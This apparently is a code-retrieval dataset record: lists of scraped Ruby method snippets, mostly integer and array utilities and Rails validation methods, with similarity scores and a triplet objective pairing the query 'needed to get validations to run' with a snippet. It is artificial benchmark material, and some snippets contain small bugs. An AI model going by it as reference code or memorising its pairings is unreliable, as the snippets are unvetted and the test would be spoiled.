all_item_ids.sort == item_ids.sort\n end", "def test_merge_abutting_1\n x = IntegerRange.new(1, 4)\n y = IntegerRange.new(5, 10)\n\n assert_equal(x.mergeable?(y), true)\n x.merge(y)\n\n assert_equal(x.bottom, 1)\n assert_equal(x.top, 10)\n assert_equal(x.to_a, (1..10).to_a)\n\n a = []\n x.each { |i| a << i }\n\n assert_equal(a, (1..10).to_a)\n end", "def absolute_value_as_primitives\n return @absolute_value_as_primitives if @absolute_value_as_primitives\n\n prime_generator = PRIMES.each\n absolute_cards_bases = [12, 0, 1, 2, 3, 4, 5, 6]\n\n @absolute_value_as_primitives = absolute_cards_bases.each.with_object({}) do |e, acc|\n prime = prime_generator.next\n 4.times { |i| acc[e * 4 + i + 1] = prime }\n end\n end", "def right_numbers\n numbers_with_checksum[7,6]\n end", "def single_number(nums)\n a = 0\n for i in nums\n a ^= i\n end\n a\nend", "def indices_equal(val)\n indices = []\n self.each_with_index do |v,i|\n if val == v\n indices << i\n end\n end\n indices\n end", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def amicable_numbers(n1,n2)\n divisors_sum(n1) == n2 && divisors_sum(n2) == n1\nend", "def bv d\n 1 << d\n end", "def equal(array1, array2)\n hash1 = {}\n hash2 = {}\n array1.length.times do |x|\n if hash1.has_key?(array1[x])\n hash1[array1[x]] += 1\n else\n hash1[array1[x]] = 1\n end\n end\n array2.length.times do |x|\n if hash2.has_key?(array2[x])\n hash2[array2[x]] += 1\n else\n hash2[array2[x]] = 1\n end\n end\n return hash1 == hash2\nend", "def integers (arr, int)\r\n current_index = 0\r\n index_item = nil\r\n arr.each do |item| \r\n if item == int\r\n index_item = current_index\r\n end\r\n current_index += 1\r\n end\r\n index_item\r\nend", "def ==(other)\n return false unless other.is_a?(Int32)\n value == other.value\n end", "def getASAry(set)\n ary = Array.new\n set.each{|k,v|\n if v then ary.push(k.to_i) end\n }\n ary.sort!\nend", "def unique(integers)\n integers.reduce([]) do |collection,integer|\n !(collection.include? integer) ? collection.push(integer) : collection\n end\nend", "def repeat_values\n repeated = repeats.map { |value, repeats| [value, repeats.count] }\n repeated = repeated.reject { |value, count| count == 1 }\n repeated = repeated.sort_by { |value, count| [count, value] }.reverse\n repeated.map(&:first)\n end", "def isSame(tab)\n for x in 0..3\n for y in 0..3\n return(false) if (self.val(x,y) != tab.val(x,y)) ;\n end\n end\n return true ;\n end", "def sum_pairs_v1 ints, s\n hash = {}\n index = []\n ints.each_with_index {|elem, i| hash[elem] = i }\n ints.each_with_index do |elem, i|\n if hash[s-elem] && hash[s-elem] != i\n hash[s-elem] > hash[elem] ? index << hash[s-elem] : index << hash[elem]\n end\n end\n\n return [s-ints[index.sort.first],ints[index.sort.first]] if index.any?\n nil\nend", "def check_guess_exact_position\n answer = []\n temp = @rows[@guess_number - 1].dup\n temp_key = @key.dup\n @key.each_with_index do |el, i|\n if el == temp[i]\n answer << 2\n temp[i] = 0\n temp_key[i] = 0\n end\n end\n [answer, temp, temp_key]\n end", "def tie_breaker_multi hand2\n values1 = values.sort.reverse\n values2 = hand2.values.sort.reverse\n 4.downto(1).each do |num|\n pick1 = values1.select {|card| values1.count(card) == num}\n pick2 = values2.select {|card| values2.count(card) == num}\n return pick1 <=> pick2 if pick1 != pick2\n end\n 0 # hands are identical\n end", "def _reduce_32(val, _values, result); end", "def _reduce_32(val, _values, result); end", "def test_merge_enclosed_1\n x = IntegerRange.new(1, 10)\n y = IntegerRange.new(3, 5)\n\n assert_equal(x.mergeable?(y), true)\n x.merge(y)\n\n assert_equal(x.bottom, 1)\n assert_equal(x.top, 10)\n assert_equal(x.to_a, (1..10).to_a)\n\n a = each_to_a(x)\n\n assert_equal(a, (1..10).to_a)\n end", "def test_merge_enclosed_2\n x = IntegerRange.new(1, 10)\n y = IntegerRange.new(3, 5)\n\n assert_equal(y.mergeable?(x), true)\n y.merge(x)\n\n assert_equal(y.bottom, 1)\n assert_equal(y.top, 10)\n assert_equal(y.to_a, (1..10).to_a)\n\n a = each_to_a(y)\n\n assert_equal(a, (1..10).to_a)\n end", "def test_multiple_string_number_2\r\n # x2-g8 < x2-y7 < x2-y08 < x8-y8\r\n assert_equal ['x02-g8', 'x2-y7', 'x02-y08', 'x8-y8'], ['x02-y08', 'x8-y8', 'x2-y7', 'x02-g8'].natural_sort, \"TODO Not implemented\"\r\n end", "def single_number2(nums)\n nums.reduce do |collect, num|\n collect ^= num\n end\nend", "def and_n\n value = next_byte\n and_to_a value\n @clock += 2\n end", "def put_int64(*ints)\n ints.each { |i| @request << [i].pack('q').reverse }#[i >> 32, i & ((1 << 32) - 1)].pack('NN') }\n self\n end", "def union(id1,id2)\n id1 = parent(id1)\n id2 = parent(id2)\n if @r[id1] < @r[id2]\n @h[id1] = @h[id2]\n else\n @h[id2] = @h[id1]\n if @r[id1] == @r[id2]\n @r[id1] += 1\n end\n end\n end", "def integerize_keys!\n keys.each do |key|\n unless key.in_a?(Integer)\n self[key.to_i] = self[key]\n delete(key)\n end\n end\n self\n end", "def make_ranges(ids)\n \tint_array = ids.collect{|s| s.to_i}\n\n\tint_array = int_array.sort\n\tnew_ids = []\n\tr = []\n\tz = int_array[0].to_i\n\tr[0] = z\n\tint_array.each do |n|\n\t if n > z+1\n\t \tnew_ids << r\n\t \tr = [n]\n\t else\n\t r[1] = n\n\t \tend\n\t \tz = n\n\tend\n\tnew_ids << r\n\tnew_ids\n end", "def same; end", "def test(arr_a,arr_b)\n arr = []\n arr_a.each do |num|\n arr_b.each do |num_two|\n if num == num_two\n arr << num\n end \n end\n end\n arr\nend", "def find_intersection(a1, a2)\n a1_hash = {}\n \n a1.each do |num|\n if a1_hash[num]\n a1_hash[num] +=1\n else\n a1_hash[num] = 1\n end\n end\n \n intersection = []\n \n a2.each do |num|\n if a1_hash[num] && a1_hash[num] > 0\n a1_hash[num] -= 1\n intersection << num\n end\n end\n \n return intersection\nend", "def == other\nto_i == other.to_i\nend", "def with_bit_order\n @with_bit_order\n end", "def i32s\n r = little? ? BinUtils.get_sint32_le(@data, @pos) : BinUtils.get_sint32_be(@data, @pos)\n @pos += 4\n r\n end", "def test_merge_overlaping_2\n x = IntegerRange.new(1, 5)\n y = IntegerRange.new(3, 10)\n\n assert_equal(y.mergeable?(x), true)\n y.merge(x)\n\n assert_equal(y.bottom, 1)\n assert_equal(y.top, 10)\n assert_equal(y.to_a, (1..10).to_a)\n\n a = each_to_a(y)\n\n assert_equal(a, (1..10).to_a)\n end", "def test_abutting\n x = IntegerRange.new(1, 2)\n y = IntegerRange.new(3, 4)\n\n assert_equal(x.mergeable?(y), true)\n assert_equal(y.mergeable?(x), true)\n end", "def a_to_the_b(a,b)\n\tinteger_combo = []\n\t(2..a).each do |a|\n\t\t(2..b).each do |b|\n\t\t\tinteger_combo << a**b\n\t\tend\n\tend\n\tinteger_combo.sort.uniq\nend", "def test_int_check_pass\n assert_equal int_check([]), true # EDGE CASE\n assert_equal int_check(['1']), true # pass\n assert_equal int_check(['1', '1']), true # pass\n assert_equal int_check(['1', '1', '1']), true # pass\n end", "def sort_cards_by_same_value()\r\n\t\tresult=Array.new\r\n\t\tfor i in 2..14\r\n\t\t\tresult[i]=CardList.new\r\n\t\tend\r\n\t\t@list.each{|x| result[x.get_value].add_card(x)}\r\n\t\treturn result\r\n\tend", "def single_number(nums)\n ones = 0\n twos = 0\n nums.each do |n|\n ones = (ones^n)&(~twos)\n twos = (twos^n)&(~ones)\n end\n\n ones\nend", "def to_expanded_set\r\n (target.map { |x| x.to_i } << to_i).to_set # include the group value as well\r\n end", "def test_combine_arrays\n array = []\n array_one = [1,2,3,4,5]\n array_two = [2,5,9]\n array = array_one & array_two\n assert_equal [2,5], array\n end", "def test_no_duplicate_id\n dup = {\"_id\" => \"foo\", :_id => \"foo\"}\n one = {\"_id\" => \"foo\"}\n\n assert_equal @encoder.serialize(one, false, true).to_a, @encoder.serialize(dup, false, true).to_a\n end", "def missing_nums(a,b)\n ahash = {}\n bhash = {}\n while i < a.size do\n if ahash.has_key?(a[i]) then\n ahash[a[i]] += 1\n else\n ahash[a[i]] = 1\n end\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n while i < b.size do\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n result = []\n bhash.keys.each do |key|\n result.push(key) if (!ahash.has_key?(key) || bhash[key] > ahash[key])\n end\n result.sort\nend", "def non_duplicated_values(values)\n values.each do |num|\n values.delete(num) if values.count(num)>=2\n end\n return values\nend", "def integer_pigeonhole_sort(numbers)\n sorted = []\n\n numbers.length.times do |i|\n sorted << i\n end\n\n sorted\nend", "def test_merge_overlaping_1\n x = IntegerRange.new(1, 5)\n y = IntegerRange.new(3, 10)\n\n assert_equal(x.mergeable?(y), true)\n x.merge(y)\n\n assert_equal(x.bottom, 1)\n assert_equal(x.top, 10)\n assert_equal(x.to_a, (1..10).to_a)\n\n a = each_to_a(x)\n\n assert_equal(a, (1..10).to_a)\n end", "def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend", "def expand_and_order(*indexes)\n ixs = []\n indexes.flatten.each do |index|\n if index.is_a?(Range)\n if index.first > index.last\n ixs << (index.last..index.first).to_a\n else\n ixs << index.to_a\n end\n else\n ixs << index\n end\n end\n ixs.flatten!\n # ixs.sort!\n # convert msb0 numbering (if provided) to lsb0 numbering to get the correct bits\n if @with_bit_order == :msb0\n ixs.each_index { |i| ixs[i] = size - ixs[i] - 1 }\n end\n ixs.sort\n end", "def find_it(seq)\n integer_occurences = seq.each_with_object(Hash.new(0)) do | int, hash |\n hash[int] += 1\n end\n integer_occurences.select {| int, occured | occured.odd? }.keys[0]\nend", "def merge(arr, arr_1)\n new_array = arr + arr_1\n temp_hash = Hash.new(0)\n \n new_array.each {|num| temp_hash[num]+= 1 }\n\n new_array = []\n temp_hash.each { |k, _| new_array << k }\n new_array\nend", "def compareTriplets(a, b)\n result = [0, 0]\n a.zip(b)\n .each {|first, second|result[((first > second) ? 0 : 1)] += 1 if first != second }\n result\nend", "def test_consistency_ruby_test\r\n rubyArr = [1,1]\r\n seed = 10\r\n r = Random.new(seed)\r\n firstIteration = mine(rubyArr, r)\r\n secondIteration = mine(rubyArr, r)\r\n if firstIteration = secondIteration\r\n assert true\r\n end\r\n end", "def zero_ord_arr(arr)\n z = 0\n i = 1\n while i < arr.length\n if arr[z] != 0 && arr[i] == 0\n z = i\n end\n if arr[z] == 0 && arr[i] != 0\n arr[z], arr[i] = arr[i], arr[z]\n z += 1\n end\n i += 1\n end\n arr\nend", "def find_uniq_int(array)\n\tuniq_id = 0\n\n\tarray.each do |element|\n\t\tuniq_id ^= element\n\tend \n\n\treturn uniq_id\nend", "def merge(array1, array2)\n results = []\n\n results = array1 + array2\n\n 10.times do\n n = -1\n\n 10.times do\n if results[n].to_i < results[n - 1].to_i\n results[n], results[n - 1] = results[n - 1], results[n]\n end\n\n n -= 1\n end\n end\n\n results\nend", "def solution(a)\n # write your code in Ruby 2.2 \n frecuencies = a.each_with_object(Hash.new(0)) { |key, value| value[key] += 1 } \n \n frecuencies.each do |key, value|\n if value.odd? then return key end\n end\nend", "def find_duplicates(a)\n len=a.length\n n=len-2\n xor= 0\n x,y=0,0 #variables to store duplicates\n \n #xor of all numbers from 1 to n\n for i in 1..n \n xor^=i\n end\n #xor of all array elements\n for i in 0...len \n xor^=a[i]\n end\n #Rightmost set bit\n set_bit_pos= xor & ~(xor-1)\n #Divinding array in two sets ,one with set bit at set_bit_pos and other with 0.\n for i in 0...len\n if (a[i] & set_bit_pos == 0)\n x^=a[i] # XOR of first-set(with 0 at set_bit_pos) in array\n else\n y^=a[i] # XOR of second-set(with 1 at set_bit_pos) in array\n end\n end\n \n for i in 0..n\n if (i & set_bit_pos == 0)\n x^=i # XOR of first-set(with 0 at set_bit_pos) in range\n else\n y^=i # XOR of second-set(with 1 at set_bit_pos) in range\n end\n end\n print \"#{x} #{y}\"\n\treturn\nend", "def test_single_value\n x = IntegerRange.new(42)\n\n assert_equal(x.bottom, 42)\n assert_equal(x.top, 42)\n assert_equal(x.to_a, (42..42).to_a)\n\n a = each_to_a(x)\n\n assert_equal(a, (42..42).to_a)\n end", "def fix_numerals\n hash = self.clone\n traverse hash\n hash\n end", "def Integer(p0) end", "def hash\r\n a = 0\r\n @id.each_byte {|c| a += c.to_i}\r\n (a + @paired.to_i) * HASH_PRIME\r\n end", "def test_numeric_comparison\n value1_ = ::Versionomy.create([1, 9, 2], :rubygems)\n value2_ = ::Versionomy.create([1, 9], :rubygems)\n assert(value2_ < value1_)\n value1_ = ::Versionomy.create([1, 9, 0], :rubygems)\n value2_ = ::Versionomy.create([1, 9], :rubygems)\n assert(value2_ == value1_)\n end", "def same(x, y)\n find(x) == find(y)\n end", "def increasing_triplet(nums)\n x1 = nums[0]; x2 = nil\n\n nums.each do |num|\n if num <= x1\n x1 = num\n elsif x2 == nil || num <= x2\n x2 = num\n else\n return true\n end\n end\n\n false\nend", "def amicables(limit)\n numbers = Array.new(limit, 0)\n (1...limit).each do |i|\n ((i * 2)...limit).step(i) do |j|\n numbers[j] += i\n end\n end\n result = []\n numbers.each_with_index do |j, i|\n if j < limit && i == numbers[j] && i != j\n result << i\n end\n end\n result\nend", "def combine(a, b)\n\t# create a results array\n\t\n\t# counters pointing to the index of the smallest elements in each array\n\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\n\nend", "def common_x\n ah, bh, ch = [a,b,c].map {|arr| arr.each_with_object(Hash.new(0)) {|e,h| h[e] += 1}}\n (a & b & c).inject(0) {|sum, e| sum += e * [ah[e], bh[e], ch[e]].min}\nend", "def multiply_all_pairs(arr1, arr2)\n output = arr1.each_with_object([]) do |int, arr|\n arr2.each do |int2|\n arr << int * int2\n end\n end\n output.sort\nend", "def positiveopposite(a)\n # create hashtable that will store the array of opposite values\n hTable = Hash.new \n for i in 0..a.size-1 do\n if hTable[a[i].abs] == nil then\n hTable[a[i].abs] = [a[i]]\n end\n\n case\n when a[i] < 0\n # insert negative if there exists a positive number in first position of the array\n # if the hashtable already has a negative number, do nothing\n if hTable[a[i].abs][0] > a[i] then \n hTable[a[i].abs].insert(0,a[i])\n end\n when a[i] > 0\n # insert positive number if the array has only the first negative opposite element\n if (hTable[a[i].abs][0] < 0) and (hTable[a[i].abs].size == 1) then \n hTable[a[i].abs].push(a[i])\n end\n end\n end\n # p hTable\n aResult = []\n hTable.each { |key, value| \n if (value.size == 2) then\n aResult.push(value)\n end\n }\n return aResult\n end", "def sequence(integer1, integer2)\n sequence_array = []\n current_value = integer2\n integer1.times do\n sequence_array << current_value\n current_value += integer2\n end\n sequence_array\nend", "def test_combine_proper_working\n fictive_draw = %w(a b c d e f g)\n fictive_combinations = combine(fictive_draw)\n expected_combinations = 2**fictive_draw.size - 1\n assert_equal expected_combinations, fictive_combinations.length\n end", "def ^(enum)\n if enum.is_a?(Set)\n enum = try_integer_set(enum)\n return enum.is_a?(IntegerSet) ? self.class.from_i(@val ^ enum.to_i) : enum ^ self\n end\n n = IntegerSet.new(enum)\n each { |o| if n.include?(o) then n.delete(o) else n.add(o) end }\n n\n end", "def _reduce_63(val, _values, result); end" ]
[ "0.6159242", "0.585761", "0.5765157", "0.5712477", "0.5597186", "0.55308574", "0.54966176", "0.5495287", "0.5494517", "0.5486537", "0.54785156", "0.5408903", "0.5404704", "0.5379638", "0.53634465", "0.5340845", "0.5306288", "0.5276511", "0.52622193", "0.52535486", "0.5253087", "0.5224073", "0.51955307", "0.5190556", "0.51846695", "0.518459", "0.5181732", "0.51652193", "0.51566344", "0.5149717", "0.51474386", "0.5143573", "0.5139364", "0.5120299", "0.5117576", "0.51110935", "0.5106863", "0.5087361", "0.50815105", "0.5076832", "0.50743264", "0.5061306", "0.5039799", "0.5039228", "0.5038938", "0.5038938", "0.50356424", "0.5034488", "0.50328606", "0.5032252", "0.50278616", "0.50222266", "0.5020889", "0.5019134", "0.5018701", "0.50185204", "0.50178176", "0.5015971", "0.50135756", "0.50089556", "0.50053394", "0.50050575", "0.500165", "0.49967226", "0.49909872", "0.49903834", "0.49862972", "0.4972406", "0.49715364", "0.49684078", "0.49678886", "0.49642685", "0.49640313", "0.49613237", "0.49612406", "0.49580547", "0.49567384", "0.494402", "0.49434555", "0.4939456", "0.4935868", "0.49326214", "0.49322104", "0.49290913", "0.49251416", "0.49174762", "0.4913036", "0.4911293", "0.4910551", "0.4907462", "0.4906246", "0.48970056", "0.48953676", "0.48933178", "0.48923442", "0.48908636", "0.48853135", "0.48806402", "0.48799756", "0.4877953", "0.4876879" ]
0.0
-1
needed to get validations to run
def new_record? true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_validations\n true\n end", "def validation; end", "def validation; end", "def validate\n \n \n end", "def validate; end", "def validate; end", "def validate; end", "def validate; end", "def validate\r\n\r\n end", "def validate\n end", "def validate!; end", "def validate!; end", "def validate!; end", "def validate\n end", "def validate\n end", "def validate\n end", "def validate!\n # pass\n end", "def validator; end", "def validate\n\n end", "def validate\n end", "def validate\n end", "def validate\n end", "def validate\n # add errors if not validate\n end", "def validations\n {}\n end", "def extra_validations\n success\n end", "def run_validations!\n run_callbacks(:validation) do\n super\n end\n end", "def validated; end", "def run_validations(context)\n __run_validations__(context)\n end", "def validations\n []\n end", "def custom_validations\n self.validate_baseline && validate_baseline_date && \n self.validate_trial_days && self.validates_goal_name && self.validation_due_date\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def pre_validation\n\n\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def subclass_validations ; true ; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validate\n validate_amount\n validate_game\n validate_period\n end", "def pre_validation\n\n end", "def is_valid; end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def validated?; end", "def validate!\n true\n end", "def validations\n valid_page_number? if page_number\n valid_period_name? if period_param\n valid_date? if date_param\n end", "def validate!\n\t\t\t\treturn true\n\t\t\tend", "def run_validations!\n super\n include_typecasting_errors\n errors.empty?\n end", "def validate\r\n validate! rescue false\r\n end", "def validate\n true\n end", "def validate\r\n @invalid=false\r\n end", "def after_validate\n end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def validate\n raise NoMethodError, \"must define method 'validate'\"\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:short_description => self.short_description}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_organization\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:rule_code => self.rule_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_rule\n\t end\nend", "def checks; end", "def validate(options); end", "def validate\n valid?\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end", "def setting_validations\n if errors.empty?\n errors.add(:value, :blank) if validators['presence'] && ['1','true',true].include?(validators['presence']) && self.value.nil?\n errors.add(:value, :inclusion) if valid_values && !valid_values.include?(self.value)\n errors.add(:value, :invalid) if validators['format'] && !(Regexp.new(validators['format']) =~ self.value)\n end\n end", "def validate_params\n validate_size\n validate_mine_density\n validate_first_click\n type_specific_checks\n end", "def validate\n @invalid=false\n end", "def validate\n super \n end", "def validate!\n super()\n self\n end", "def validate!\n validate_redis\n validate_workers\n validate_options\n end", "def is_valid\n\tend", "def is_valid\n\tend", "def _before_validation\n end", "def check_validity!\n # nothing\n end", "def set_validations_and_filters\n validates_length_of :numero_publicacion, :in => 6..12, :allow_nil => true, :allow_blank => true\n validates_presence_of :fecha_solicitud, :numero_gaceta\n validates_format_of :numero_solicitud, :with => /^\\d+-\\d{4}/\n validates_uniqueness_of :numero_solicitud#, :scope => :parent_id\n #validates_presence_of :numero_publicacion, :numero_gaceta\n end", "def validate\n validations = self.class.meta_eval { @validations }\n\n validations.each do |v|\n raise \"#{self.class}.#{v[:name]} #{v[:options][:message]}\" unless\n v[:proc].call(send(v[:name]))\n end\n\n self\n end", "def setting_validations\n errors.add(:value, I18n.t(:blank, :scope => 'activerecord.errors.messages')) if validators['presence'] && ['1','true',true].include?(validators['presence']) && self.value.nil?\n errors.add(:value, I18n.t(:inclusion, :scope => 'activerecord.errors.messages')) if valid_values && !valid_values.include?(self.value)\n errors.add(:value, I18n.t(:invalid, :scope => 'activerecord.errors.messages')) if validators['format'] && !(Regexp.new(validators['format']) =~ self.value)\n end", "def validate_build\n end", "def validate_settings\n end", "def run_validation(vmode)\n validate(vmode)\n self\n end", "def run_validations\n run_callbacks :validation do\n failed_validators.clear\n validation_chain.run(self)\n @validated = true\n end\n end", "def determine_useful_validations\n useful_checks = [\n useful_validations_for_qrda_type,\n useful_validations_for_measure_type\n # TODO: Add useful_validations_for_performance_rate\n ]\n useful_checks.inject(:&)\n end", "def check\n \n end", "def check\n \n end", "def validate\n errors.clear\n self.class.validator.invoke self\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t #is_valid = ModelHelper::Validations.validate_combos([{:commodity_code => self.commodity_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t #is_valid = set_spray_program_result\n\t end\nend", "def check_errors;\n end", "def exercise2\n parse_data PositionalValidator\n validators.count(&:valid?)\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:mark_code => self.mark_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_mark\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:short_description => self.short_description}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_organization\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def is_valid?\n end", "def errors\n self.class.validator.call self\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:short_description => self.short_description}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_organization\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:target_market_name => self.target_market_name}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_target_market\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def validate\n\tvalidate_unexpected_assets_not_present && validate_expected_asset_present && validate_snippet_and_description\nend", "def partition_validations\n @post_load_validations = @validations.select(&:deferred?)\n @pre_load_validations = @validations.reject(&:deferred?)\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:temperature_device_type_code => self.temperature_device_type_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_temperature_device_type\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:unit_type_code => self.unit_type_code}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_unit_type\n\t end\nend", "def is_valid\n return true\n end", "def validate!\n self.class.validators.each do |validator|\n validator.validate!(self)\n end\n nil\n end", "def validate\n fail 'sub class to implement'\n end", "def store_validations #:nodoc:\n return if @validations.size == 0\n\n @validations.each do |param|\n store_dv(\n param[:cells],\n param[:validate],\n param[:criteria],\n param[:value],\n param[:maximum],\n param[:input_title],\n param[:input_message],\n param[:error_title],\n param[:error_message],\n param[:error_type],\n param[:ignore_blank],\n param[:dropdown],\n param[:show_input],\n param[:show_error]\n )\n end\n end", "def validate \n#\tfirst check whether combo fields have been selected\n\t is_valid = true\n\n\n\t puts \"VALID: \" + is_valid.to_s\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:system_name => self.system_name},{:subsystem_name => self.subsystem_name}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_subsystem\n\t end\n\t if is_valid\n\t\t is_valid = ModelHelper::Validations.validate_combos([{:affected_object_type_name => self.affected_object_type_name}],self) \n\tend\n\t#now check whether fk combos combine to form valid foreign keys\n\t if is_valid\n\t\t is_valid = set_affected_object_type\n\t end\n\t#validates uniqueness for this record\n\t if self.new_record? && is_valid\n\t\t validate_uniqueness\n\t end\nend", "def valid?(_) true end" ]
